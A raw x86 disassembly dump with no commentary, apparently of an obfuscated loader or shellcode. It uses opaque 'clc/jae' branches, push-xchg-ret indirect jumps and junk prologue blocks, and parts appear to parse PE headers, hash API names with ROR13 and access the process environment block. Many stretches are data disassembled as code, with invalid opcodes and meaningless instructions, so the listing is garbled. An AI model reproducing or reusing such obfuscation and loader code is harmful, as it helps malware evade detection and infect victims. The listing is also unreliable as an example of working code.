add byte [ebp + edx*2 - 0x30d07af], 0x90
push ecx
clc
cld
nop
nop
jae 0x407602
add byte [edx + 0x905600], al
add byte fs:[ecx + 0x5e], dh
clc
cld
nop
nop
jae 0x40683a
test al, al
pop edx
jecxz 0x40753a
pop eax
and cl, byte [0xcdb939d2]
or byte [ecx + 0x73], bl
mov ecx, 0x735908cd
clc
cld
nop
nop
jae 0x405c32
les esp, [eax + eax]
add cl, bh
add esp, 0xc
clc
cld
nop
nop
jae 0x405b0d
add byte [eax + eax], bl
push ebx
outsd dx, dword [esi]
ret
mov eax, 0x123a6781
clc
cld
nop
nop
jae 0x405f2b
stosb byte es:[edi], al
add byte [esi + 0x43002a00], al
sub al, 0x20
push edi
mov edi, 0x408ed3
xchg dword [esp], edi
ret
xor edx, edx
clc
cld
nop
nop
jae 0x407875
retf 0x7400
add esp, 0xc
push edi
mov edi, 0x40626e
xchg dword [esp], edi
ret
push ecx
push edi
mov edi, 0x405ab2
xchg dword [esp], edi
ret
call fcn.00405b39
clc
cld
nop
nop
jae 0x408de1
rol byte [eax], 0x74
sub eax, 0xf8c987a3
xchg ecx, ecx
clc
cld
nop
nop
jae 0x408545
jae 0x4076e6
and al, byte [eax + eax + 0x46bf93]
fcomp dword [edx]
xor dword [ebp - 0xd071f91], ecx
cld
nop
nop
jae 0x406d0e
inc dword [eax]
add byte [esi + 0x2a00005d], al
add byte [eax], al
xchg byte [ebp], bl
add byte [edx], ch
add byte [ebx - 0x7d], cl
rol dword [ebx], 0xf8
add ecx, 3
clc
cld
nop
nop
jae 0x405df2
or eax, 0x24d18200
jg 0x4076dc
mov esi, dword [ecx + 0x14]
clc
cld
nop
nop
jae 0x408147
outsd dx, dword [esi]
sub eax, 0xb8005390
test al, 0x2d
mov ecx, dword [ecx + 0x54]
clc
cld
nop
nop
jae 0x408917
cmp eax, 0x3d74
orps xmm2, xmmword [eax - 0x361374ab]
push esi
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406730
dec ecx
clc
cld
nop
nop
jae 0x4074cb
xlatb
add byte [eax], al
add byte [edi - 0x2a], ch
test eax, 0xe6001000
and ebp, dword [edx + 0x7be6bf57]
inc eax
add byte [edi + 0xc3243c], al
sbb al, 0xfd
lodsd eax, dword [esi]
add byte [ebx], dl
add byte [eax], al
mov ebx, 0xf824758b
mov esi, dword [ebp + 0x24]
clc
cld
nop
nop
jae 0x406db0
pop edx
jecxz 0x40777d
add byte [edx], ah
add byte [esi], bh
cmp eax, dword [edi - 0x74aa6f25]
in al, dx
leave
nop
jmp 0x40622e
mov edx, eax
push edi
mov edi, 0x40610d
xchg dword [esp], edi
ret
cmp dword [edi], 0x10
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408494
ret
cmp edi, 0xf7aa0afc
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x405eec
push 0x194656fc
clc
cld
nop
nop
jae 0x405809
xchg esi, eax
add byte [ebx + 0x26], bh
add cl, bl
fld1
clc
cld
nop
nop
jae 0x406fd2
ret 0x7c
mov edx, dword [esi + 4]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40693f
cmp dword [ebp + 0x28], edx
push edi
mov edi, 0x408730
xchg dword [esp], edi
ret
fld1
clc
cld
nop
nop
jae 0x405fb6
add byte [eax], al
test byte [eax], al
add byte [eax], al
stosb byte es:[edi], al
sbb eax, dword [ebx - 0xd07ed20]
cld
and eax, 0x12
clc
cld
nop
nop
jae 0x408ea7
push ebx
push ebx
test byte [esi + 0x39b6d7c3], cl
add esi, dword [ebp + 0x24]
clc
cld
nop
nop
jae 0x408db5
rcl ecx, 1
add byte [eax], al
das
add byte [edx], ch
or dword [ecx + 0x735908cd], edi
mov ecx, 0x735908cd
clc
cld
nop
nop
jae 0x407551
add byte [esi + 0x1ec086], cl
insd dword es:[edi], dx
mov ecx, 0x7262694c
clc
cld
nop
nop
jae 0x408c23
add byte [eax], al
add byte [eax], al
fisttp dword [ebx - 0xd07e382]
cld
mov edi, dword [esi + 0x1c]
clc
cld
nop
nop
jae 0x40805d
ret
mov esi, 0x1c000
clc
cld
nop
nop
jae 0x4088fe
lodsd eax, dword [esi]
add byte [edx], ch
jmp 0x407901
ret
add ecx, 3
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4076a0
push ecx
push edi
mov edi, 0x406194
xchg dword [esp], edi
ret
mov eax, dword [ebp + 0x28]
clc
cld
nop
nop
jae 0x40731a
mov es, word [eax]
xchg esi, eax
and dword [eax], eax
add byte [eax + eax], al
invalid
xor eax, eax
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x405d84
imul ecx, ecx, 0x28
clc
cld
nop
nop
jae 0x407153
add byte [eax], al
clc
add byte [0x1e001e00], cl
add byte [esi], bh
add ah, al
pushfd
std
mov edx, dword [edx]
push edi
mov edi, 0x406926
xchg dword [esp], edi
ret
mov esi, dword [esi + 0x20]
push edi
mov edi, 0x408c38
xchg dword [esp], edi
ret
xor eax, 0xcb15ad29
clc
cld
nop
nop
jae 0x408088
jl 0x407ab0
add byte [eax], al
sub dword [eax + 0x74], 0x6c
xor esi, dword [edx]
push 0x32336c74
clc
cld
nop
nop
jae 0x4059d0
add byte [eax], al
sbb al, 0x21
adc edx, dword [eax - 8]
cld
nop
nop
jae 0x40776c
push esi
add byte [eax + 0x7c], al
inc ecx
inc ebx
inc esi
clc
cld
nop
nop
jae 0x40750c
ret
pop esi
push edi
mov edi, 0x40875b
xchg dword [esp], edi
ret
movsx edx, word [ecx + 6]
clc
cld
nop
nop
jae 0x40722c
add byte [eax], al
add byte [ebp - 0x397c9ad1], ch
adc al, 0xf8
add esi, 0x14
clc
cld
nop
nop
jae 0x405e4c
cli
rol byte [eax], 0
add byte [edx], ah
cmp al, 0
aas
cmp cx, 3
push edi
mov edi, 0x4075ec
xchg dword [esp], edi
ret
add dl, al
push ds
inc ecx
mov dh, 0x17
pop ss
add bh, dh
popal
clc
cld
nop
nop
jae 0x405f5a
add byte [eax], al
add byte [esi + 0x6f], dl
xchg ebx, eax
add byte [ebp + ebx*2 + 0x5f], dh
pop edi
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x407af6
shr ecx, 2
clc
cld
nop
nop
jae 0x4088a5
push ebx
cmp eax, 0x6ebf
mov esi, 0x86c80014
loopne 0x407b99
inc ebx
clc
cld
nop
nop
jae 0x4063d9
add byte [ecx + 0xc41700], ch
je 0x407bfa
push 0
arpl word [eax - 8], sp
pushal
clc
cld
nop
nop
jae 0x405ea3
ja 0x407c0b
add byte [ecx + 0xd], al
add byte [ecx + 0x49], cl
jae 0x407b9e
mov eax, dword [ecx + 8]
clc
inc ecx
or al, bh
cld
nop
nop
jae 0x406c3a
mov eax, 0x8e00c300
test byte [edx + 0x3c830044], ch
popal
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408f15
jne 0x4062ca
clc
cld
nop
nop
jae 0x4067ce
add byte [eax + 0xfc7e47c], dl
test dword [ebx], edi
or byte [eax], al
add al, bh
jne 0x4084d7
clc
cld
nop
nop
jae 0x4082cf
add byte [eax - 0x7617e300], al
fdivp st(7)
invalid
popal
clc
cld
nop
nop
jae 0x408b11
add byte [ecx], ah
or eax, 0x8639001c
add eax, 0x90c88ba1
mov ecx, eax
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40895b
add esi, 0x18
clc
cld
nop
nop
jae 0x406380
add byte [eax - 0x1c83c700], bh
dec ebp
push 0x2df7f
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4071d6
jmp 0x408ae4
test eax, 0x80000000
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x405aca
wait
push edi
mov edi, 0x407d9e
xchg dword [esp], edi
ret
add ebx, dword [ebp + 0x24]
clc
cld
nop
nop
jae 0x405a42
add byte [ebx - 0x2a], dh
mov es, word [eax]
test eax, 0x489c38e
and al, 0xf8
mov dword [esp], eax
clc
cld
nop
nop
jae 0x4077c2
rol byte [eax], 0x84
mov edi, 0xf7300c3
test esp, ebx
invalid
jne 0x407217
clc
cld
nop
nop
jae 0x408a4b
add byte [eax + eax], ah
pushfd
jne 0x407dcf
push ebx
push edi
mov edi, 0x406aa6
xchg dword [esp], edi
ret
add edi, ebx
clc
cld
nop
nop
jae 0x40739d
ret
push ecx
clc
cld
nop
nop
jae 0x408e0c
pop ebp
rol al, 0
mov edi, 0xa5cac449
mov edx, eax
push edi
mov edi, 0x4090f2
xchg dword [esp], edi
ret
pop ecx
clc
cld
nop
nop
jae 0x408acd
salc
add byte [eax], al
xchg ebx, eax
and al, 0
rcl byte [edi], 0xce
push esi
add byte [edi - 0x23b318], ah
invalid
call fcn.00405b39
clc
cld
nop
nop
jae 0x408e51
or eax, 0x6f6ebf2d
push 0x93939bd1
clc
cld
nop
nop
jae 0x405f16
pop eax
add byte [eax], al
shr dword [edx], 1
pushfd
loop 0x407f02
or esi, ebx
movsb byte es:[edi], byte [esi]
push edi
mov edi, 0x407c55
xchg dword [esp], edi
ret
mov eax, dword [esp]
clc
cld
nop
nop
jae 0x40680d
mov dh, 0
add byte [eax], al
pop ss
and al, 0x33
jne 0x4060c7
clc
cld
nop
nop
jae 0x407d71
add byte [eax], al
add byte [esp + 0x418b8300], bl
adc al, bh
mov eax, dword [ecx + 0x10]
clc
cld
nop
nop
jae 0x408834
ret
mov ecx, dword [edi + 0xe]
clc
cld
nop
nop
jae 0x40902c
add byte [eax], al
mov es, word [eax]
add byte [ecx + 0x67], al
mov ecx, eax
clc
cld
nop
nop
jae 0x407bcb
sbb al, 0
jl 0x40800d
test byte fs:[esi + 0x40026], dl
cmpsd dword [esi], dword es:[edi]
pop ebx
push edi
mov edi, 0x4066ea
xchg dword [esp], edi
ret
mov eax, 0x30
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x405d9b
mov ebp, dword [esi + 0x24]
clc
cld
nop
nop
jae 0x407a6d
add byte [eax], al
and al, 0x6a
add byte [eax], al
jecxz 0x408082
movzx edi, word [edi + 4]
clc
mov bh, 0x7f
add al, 0xf8
cld
nop
nop
jae 0x40675a
add byte [eax], al
test byte [eax], al
add byte [edx + 0x43c0c121], cl
add byte [eax + eax - 0x3ede7600], al
rol byte [ebx + 0x57], 0xbf
inc esp
bound eax, qword [eax]
rol eax, 0x43
push edi
mov edi, 0x406244
xchg dword [esp], edi
ret
ja 0x4062f9
clc
cld
nop
nop
jae 0x4084c2
xchg byte [eax], al
stosb byte es:[edi], al
in eax, dx
clc
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x407e35
lea eax, [edi + eax]
clc
cld
nop
nop
jae 0x406eeb
retf 0
je 0x407928
clc
cld
nop
nop
jae 0x40828f
stosb byte es:[edi], al
xchg esi, eax
add dl, dl
push eax
add byte [eax], dh
fild dword [ebx]
push edi
add esi, ebx
push edi
mov edi, 0x40669f
xchg dword [esp], edi
ret
add ecx, dword [ecx + 0x3c]
clc
cld
nop
nop
jae 0x406701
outsd dx, dword [esi]
cmp dword [ebx + 0x1a805d49], edx
add byte [esi], ah
add byte [ebp - 0x74aa6fb0], ch
in al, dx
push eax
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40600d
xor edi, edi
push edi
mov edi, 0x4072ac
xchg dword [esp], edi
ret
mov dword [esp + 0x1c], edi
clc
cld
nop
nop
jae 0x407ba1
and dword [eax + eax - 0x7d27d300], eax
or byte [eax], 0
adc ecx, dword [ebx - 0x30d0735]
mov ecx, ebx
clc
cld
nop
nop
jae 0x40812e
test byte [eax], al
add byte [esi], dl
test byte [eax], al
adc esp, dword [esi]
fldpi
push edi
mov edi, 0x406026
xchg dword [esp], edi
ret
fistp dword [esp]
clc
cld
nop
nop
jae 0x4090c8
mov es, edx
stosb byte es:[edi], al
add byte [eax], al
outsb dx, byte [esi]
push esp
add byte [esi], bl
fcmovnu st(0), st(1)
call 0x913d74d7
nop
jae 0x407968
jg 0x40824c
push 0
add byte [esi - 0x74aaaec7], dl
in al, dx
add bl, ah
add dl, al
add bh, cl
or dh, dh
mov ds, word [eax]
add dl, ch
xchg edx, eax
add byte [ebx + 0x488a00cc], cl
add byte [esi + 0x8c237], ch
clc
cld
nop
nop
jae 0x40799d
add byte [0xc3002184], cl
push ebx
movzx esi, word [esi + 0x14]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408afc
pop ecx
add esi, 1
clc
cld
nop
nop
jae 0x406869
push edx
nop
add dh, dl
salc
inc ecx
je 0x40825e
fild word [ecx + 0x10004e9]
add byte [eax - 0x361374ab], dl
sub ecx, 0x10004
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x407114
je 0x4084c2
clc
cld
nop
nop
jae 0x405ebe
add byte [eax], al
xlatb
xor ebp, dword [edi + edx*2 + 0x407757bf]
add byte [edi + 0x7fc3243c], al
add byte [ecx], bh
xchg ebx, eax
push ds
nop
add byte [ecx], 0x89
lodsb al, byte [esi]
push edi
mov edi, 0x407757
xchg dword [esp], edi
ret
add esi, ebx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4083db
pop ecx
push edi
mov edi, 0x405d17
xchg dword [esp], edi
ret
add esi, 0x14
clc
cld
nop
nop
jae 0x407087
add byte [eax], al
add eax, 0xba00c06a
xchg esi, eax
mov eax, 0x480070
daa
add edi, 4
push edi
mov edi, 0x4058ba
xchg dword [esp], edi
ret
mov ecx, 0x14838
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408be2
add ecx, 0x13
clc
cld
nop
nop
jae 0x407ee8
ja 0x40838a
pop eax
nop
sbb al, 0x22
mov word [edx], ds
fadd dword [esi]
add ah, bl
mov dword [ebx], 0xfcf2f8fb
nop
nop
jae 0x4084ab
add byte [eax], al
add byte [eax + 0x7086002f], dl
add byte [esi], al
add byte [edx], dh
add byte [ebp - 0x6fe1cb73], bl
lea esi, [esi + ebx]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408cff
mov edi, dword [ecx + 0xc]
clc
cld
nop
nop
jae 0x405bc6
mov eax, 0x6f000090
and al, 0x3b
mov ebx, dword [esi + 0xc]
clc
cld
nop
nop
jae 0x407e0a
add byte [edi], ch
les esi, [ebx + 0x73]
sbb al, 0
jge 0x408393
mov esi, dword [ebp + 0x24]
jne 0x40842e
clc
cld
nop
nop
jae 0x408b9d
mov edi, 0x21bf0000
add byte [edi - 0xd07ff75], ch
cld
mov eax, dword [eax]
clc
cld
nop
nop
jae 0x405d5a
add dl, al
pop ss
jl 0x40842e
add byte [eax], al
jl 0x408432
mov eax, 0x40030
test al, 0x45
mov ecx, 0x18
clc
cld
nop
nop
jae 0x40815f
add byte [ecx], dl
add byte [0x36005af2], cl
add byte [ebp - 0x73750f1], ch
imul ecx, eax
clc
cld
nop
nop
jae 0x408e3a
lodsd eax, dword [esi]
add byte [edx + 0x437f17fd], ch
call 0x40799d
clc
cld
nop
nop
jae 0x405822
cmp eax, 0xe000077
add byte [edi], ah
fistp dword [esp]
push edi
mov edi, 0x406ed4
xchg dword [esp], edi
ret
je 0x408072
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408a33
add ebp, ebx
clc
cld
nop
nop
jae 0x408745
add byte [eax - 0x6fff7200], dl
add byte [esi - 0x3c740c5e], ch
mov eax, ebx
clc
cld
nop
nop
jae 0x4069f7
push ds
xlatb
test byte [eax], al
mov edi, 0x8be30022
pop es
mov eax, dword [edi]
clc
cld
nop
nop
jae 0x407dc8
outsb dx, byte [esi]
add byte [edi - 8], dh
add bl, ah
std
adc al, byte [eax]
cwde
xchg ebx, eax
xor dword [esp], eax
push edi
mov edi, 0x4078e5
xchg dword [esp], edi
ret
push ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x407c12
add edi, dword [eax + 0x3c]
clc
cld
nop
nop
jae 0x408ee8
jg 0x408562
add byte [edx], ah
add byte [esi], bl
lds ecx, [ecx - 0x7bbdbbc]
mov dword [esp + 0x44], eax
clc
cld
nop
nop
jae 0x40797f
salc
xchg esi, eax
test byte [edx], ah
jb 0x408544
daa
mov dword [ebp + 0x28], edi
clc
cld
nop
nop
jae 0x407cc1
and dword [eax], ebx
add byte [edx], dl
test al, 0x69
mov ecx, dword [esi + 0x10]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4078fa
mov edi, eax
clc
cld
nop
nop
jae 0x40741f
cli
inc ecx
jecxz 0x408581
salc
add byte [0x60a9005c], bh
clc
cld
nop
nop
jae 0x408196
pop edx
xchg ebx, eax
nop
jg 0x408598
add ch, bh
mov edi, 0xf2f8512b
cld
nop
nop
jae 0x407726
pop ss
add byte [ebp], bl
push ebx
add byte [eax], al
std
add byte fs:[esi], dh
add dl, al
dec edx
add byte [esi - 0x76543146], dl
inc edi
loopne 0x408616
mov dword [edi - 0x20], eax
push edi
mov edi, 0x407a89
xchg dword [esp], edi
ret
lss eax, [eax*4 - 3]
clc
cld
nop
nop
jae 0x4068ab
add ch, dh
push ebx
clc
cld
nop
nop
jae 0x4071ab
jg 0x408608
xlatb
push 0x7c
add byte [eax + 0x5758d773], dl
pop eax
push edi
mov edi, 0x405cc0
xchg dword [esp], edi
ret
add edi, dword [edi + 0x3c]
clc
cld
nop
nop
jae 0x408654
add byte [eax], al
add byte [eax + eax - 0x26d99caa], al
call 0xeccbdbd2
fld1
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x407ea3
mov edi, dword [edi + 0x28]
clc
cld
nop
nop
jae 0x4065ab
add byte [eax], al
ret
push esp
clc
cld
nop
nop
jae 0x407e60
adc dword [eax], eax
add byte [eax], al
retf 0
xchg edi, esi
clc
cld
nop
nop
jae 0x406f7c
add byte [eax], al
and dword [0xca906400], ecx
sbb dword [ecx - 0x70], edx
push ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406c10
push esi
clc
cld
nop
nop
jae 0x408f97
add byte [eax], al
cmp ecx, edx
ret 0x5a00
add esi, 2
push edi
mov edi, 0x406eaa
xchg dword [esp], edi
ret
mov dword fs:[eax], esp
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4085e5
mov eax, 0x4548f84d
clc
cld
nop
nop
jae 0x407168
nop
das
push edx
ja 0x408823
push ebp
mov ebp, esp
xchg esp, eax
ja 0x4087d7
push edi
add byte [eax], al
aad 0
add byte [eax], al
pushal
dec ebp
add byte [eax], cl
cmp eax, 0x909bf984
push ebp
mov ebp, esp
leave
nop
jmp 0x406880
div ecx
clc
cld
nop
nop
jae 0x4061ab
test ch, bh
add byte [esi + ebp*2 - 0x7c], ah
add byte [edi], cl
fld1
clc
cld
cld
nop
nop
jae 0x405c91
ret 0x6f
call 0x408b67
clc
cld
nop
nop
jae 0x405a57
add byte [esi], bl
nop
add byte [esi + 0x1c002c], bl
xchg ebp, eax
rep stosd dword es:[edi], eax
clc
cld
nop
nop
jae 0x406569
add byte [ecx], ah
add byte [eax], al
ret 0xc4
pop ecx
clc
cld
nop
nop
jae 0x4076e6
inc ecx
add byte [eax], 0x90
xchg ebx, eax
outsb dx, byte [esi]
test eax, 0x8e005c00
cmp esi, dword [ebx]
sar al, 0xf2
cld
xor eax, eax
clc
cld
nop
nop
jae 0x40884e
and dword [ebx + 0x49], esi
mov edi, 0xd6c000c0
in al, dx
ret
jne 0x406283
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x407bb6
add esi, dword [ebp + 0x24]
clc
cld
nop
nop
jae 0x40834a
add byte [ecx + 0x2d], cl
add byte [edi], ch
jp 0x408914
mov eax, 0x7d8b19fc
and al, 0xf8
mov edi, dword [ebp + 0x24]
clc
cld
nop
nop
jae 0x408a64
sub eax, 0xb600
test byte [eax + 0x242c8329], ch
add dword [edi - 0x41], edx
out 0x59, al
inc eax
add byte [edi - 0x403cdbc4], al
add byte [edi], dh
outsd dx, dword [esi]
add byte [edx], dl
rcl byte [edx + 0x13c18341], 0xf8
cld
nop
nop
jae 0x405f40
add byte [eax], al
add byte [edx + 0x1e], bl
pop ebp
invalid
xor eax, eax
clc
cld
nop
nop
jae 0x406e27
add byte [esi - 0x7f358caa], cl
and dword [ebp + 0x2831442b], edi
sub eax, dword [ecx + esi + 0x28]
clc
cld
nop
nop
jae 0x407e20
nop
add byte [eax], al
ret
jmp 0x406298
cmp eax, 0x3b7a47eb
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408fed
add esi, dword [ebp + 0x24]
clc
cld
nop
nop
jae 0x407524
add byte [ebx + eax*8 - 0x3d], ah
add byte [eax], al
in al, 0x29
mov ecx, ebx
clc
cld
nop
nop
jae 0x407bfd
cmp eax, 0x9364d7
add byte [eax], al
jb 0x4089e3
mov ah, 0xeb
call 0x408587
clc
cld
nop
nop
jae 0x407cd6
jae 0x4089a4
nop
add byte [esi], ah
cmpsb byte [esi], byte es:[edi]
mov al, byte [0x2475ffc3]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40788c
add eax, 0x18
clc
cld
nop
nop
jae 0x407711
mov dh, 0x17
add byte [eax + eax], bl
add al, dh
js 0x408a2f
sub al, 0
mov ds, word [ebx]
add edi, 8
clc
cld
nop
nop
jae 0x407195
mov dh, 0
add byte [eax], 0x84
push edx
push cs
add al, ah
inc ecx
add esi, 1
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406f63
pushal
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x405965
pop ecx
clc
cld
nop
nop
jae 0x405e07
test byte [eax], al
add byte [esi + 0xd], ch
or eax, 0xd94dc0d7
call 0xeccbe039
leave
nop
jmp 0x4068e1
push ecx
clc
cld
nop
nop
jae 0x407798
add byte [edx - 0x80], dl
les edx, [edi]
add byte [eax], al
add byte [ecx - 0x7d], ch
rol dword [edi], 0xf8
add ecx, 7
clc
cld
nop
nop
jae 0x40740a
mov eax, 0x567c
add ah, dl
mov al, byte [0x559059e7]
pop ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4074e0
add esi, ebx
clc
cld
nop
nop
jae 0x407860
add byte [edi + esi*2 - 0x3f88ff96], al
xor eax, 0x8b559053
in al, dx
push ebx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4063ab
push ecx
push edi
mov edi, 0x4061c0
xchg dword [esp], edi
ret
test ecx, ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x407f5d
add esi, dword [esi + 0x3c]
clc
cld
nop
nop
jae 0x40593b
add edi, 0x18
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406ac3
rep movsb byte es:[edi], byte [esi]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40860f
jne 0x405af6
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408985
mov ecx, eax
clc
cld
nop
nop
jae 0x408b3d
sal byte [esi + 0x7fd6], 0
pop ebx
push ecx
push edi
mov edi, 0x4064cb
xchg dword [esp], edi
ret
pop edi
clc
cld
nop
nop
jae 0x407256
add byte [eax], al
or eax, 0x3d217cb8
or eax, 0xdb450010
sbb al, 0x24
fistp dword [esp]
clc
cld
nop
nop
jae 0x407df4
adc dword [eax], eax
add byte [eax], 0x7c
add byte [ecx], bh
pop edi
push edi
mov edi, 0x407ceb
xchg dword [esp], edi
ret
fld1
push edi
mov edi, 0x408045
xchg dword [esp], edi
ret
ret
movzx esi, word [esi + 0x14]
clc
cld
nop
nop
jae 0x405a81
test byte [edi + 0x24], bh
add byte [eax], al
or eax, 0x476b70f
movzx esi, word [esi + 4]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4083b1
mov ecx, dword [ecx + 0x3c]
clc
cld
nop
nop
jae 0x406c25
xlatb
sbb al, 0
add eax, 0xee825684
cmpsd dword [esi], dword es:[edi]
je 0x4068f9
clc
cld
nop
nop
jae 0x4074b6
pop eax
add byte [eax], al
popfd
push esi
push edi
mov edi, 0x405ca9
xchg dword [esp], edi
ret
mov ecx, dword [esi + 0xe]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x405f01
mov dword [edi - 0x10], eax
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40726b
fistp dword [esp]
clc
cld
nop
nop
jae 0x4087f1
add edi, eax
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x407fe7
push esi
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4069b3
mov eax, dword [ebp + 0x14]
clc
cld
nop
nop
jae 0x40852e
add byte [eax], al
add byte [edx + 0x7c], bl
add eax, 0xfc3006a
test byte [edx - 0x7000016], bh
je 0x407928
clc
cld
nop
nop
jae 0x408ab8
jecxz 0x408e3b
ret 0x8b73
mov edi, dword [edi + 0x14]
clc
cld
nop
nop
jae 0x408e24
add byte [edx - 0x29], bl
or eax, 0x8b91aa82
invalid
or eax, 0x12
clc
cld
nop
nop
jae 0x406139
xlatb
add byte [eax], 0xa9
add byte [ebx + ebx*4 + 0x53], ah
push ebx
push edi
mov edi, 0x4071ec
xchg dword [esp], edi
ret
ror edi, 0xd
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406e91
mov ecx, dword [edi + 6]
clc
cld
nop
nop
jae 0x40603c
inc esi
sar edi, 1
inc dword [eax]
and dword [eax], eax
add byte [esi - 0x20ff918c], al
add byte [ecx], ah
add byte [eax], al
xchg byte [esi + ebp*2], dh
invalid
shl edx, 1
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x405f77
jl 0x408ed3
invalid
clc
cld
nop
nop
jae 0x407619
add byte [edx + 5], dl
pop ds
wait
clc
cld
nop
nop
jae 0x4067b9
xchg ebx, eax
das
add byte [eax], al
je 0x408ef2
add byte [esi + 0x1f], dl
push dword [ebp]
clc
cld
nop
nop
jae 0x405b69
jecxz 0x408f4f
add byte [ecx], bh
jg 0x408f53
clc
or byte [eax], al
jno 0x408f16
mov esi, 0xfff8eeef
nop
push ebp
mov ebp, esp
leave
out dx, eax
out dx, al
clc
call dword [eax - 0x361374ab]
nop
jmp 0x407add
xor edx, edx
clc
cld
nop
nop
jae 0x405d43
add byte [eax], bh
invalid
cmp dword [esi + 0x10], 0
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40732f
wait
clc
cld
nop
nop
jae 0x4071c1
std
nop
nop
salc
jg 0x408fec
xchg edi, eax
jne 0x406a0d
clc
cld
nop
nop
jae 0x406f2f
add byte [eax], al
retf 0x810b
mov edi, dword [ebp + 0x24]
clc
cld
nop
nop
jae 0x408626
add eax, 0xd1057f
cmp ebp, edx
mov ebx, edi
clc
cld
nop
nop
jae 0x406786
add byte [edi + 0x41], ch
add byte [eax], al
ret
add esi, dword [ebp + 0x24]
clc
cld
nop
nop
jae 0x408fac
and al, 0xb8
add byte [esi + 0x41], ch
add dh, cl
lcall 2, 0x4804bb5f
clc
cld
nop
nop
jae 0x408ebc
sub eax, 0x46001c00
add byte [edx], cl
imul ebx, dword [ecx - 0x70], 0xc9ec8b55
pop ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x407b36
xor eax, eax
push edi
mov edi, 0x408b52
xchg dword [esp], edi
ret
inc eax
add byte [edi + 0xc3243c], al
ret
add esi, dword [eax + 0x3c]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4072c2
wait
clc
cld
nop
nop
jae 0x40888d
add byte [ecx], bh
jae 0x40908e
add byte [esi], dl
xlatb
jmp 0x907cdf6c
mov ecx, dword [esi + 0x3c]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408970